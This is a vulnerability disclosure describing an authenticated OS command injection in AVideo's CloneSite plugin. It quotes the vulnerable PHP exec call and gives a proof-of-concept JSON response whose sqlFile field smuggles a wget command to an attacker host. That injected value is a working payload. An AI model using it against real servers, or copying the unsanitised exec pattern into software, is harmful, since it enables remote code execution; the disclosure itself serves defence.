Summary: Remote code injection in wwbn/avideo

Details: # WWBN Avideo Authenticated RCE - OS Command Injection ## Description An OS Command Injection vulnerability in an Authenticated endpoint `/plugin/CloneSite/cloneClient.json.php` allows attackers to achieve Remote Code Execution. Vulnerable code: ```php $cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}"; $log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file"); exec($cmd . " 2>&1", $output, $return_val); ``` We can control `$objClone->cloneSiteURL` through the admin panel clone site feature. `/plugin/CloneSite/cloneClient.json.php` sends a GET Request to `{$objClone->cloneSiteURL}/plugin/CloneSite/cloneServer.json.php`. I hosted a specially crafted `cloneServer.json.php` that prints the following JSON data ```JSON {"error":false,"msg":"","url":"https:\/\/REDACTED/\/","key":"REDACTED","useRsync":1,"videosDir":"\/var\/www\/html\/[demo.avideo.com](http://demo.avideo.com/)\/videos\/","sqlFile":"Clone_mysqlDump_644ab263e62d6.sql; wget [http://REDACTED:4444/`pwd`](http://redacted:4444/pwd) ;#","videoFiles":[],"photoFiles":[]} ``` Send a GET Request to `/plugin/CloneSite/cloneClient.json.php` then remote code execution is achieved.
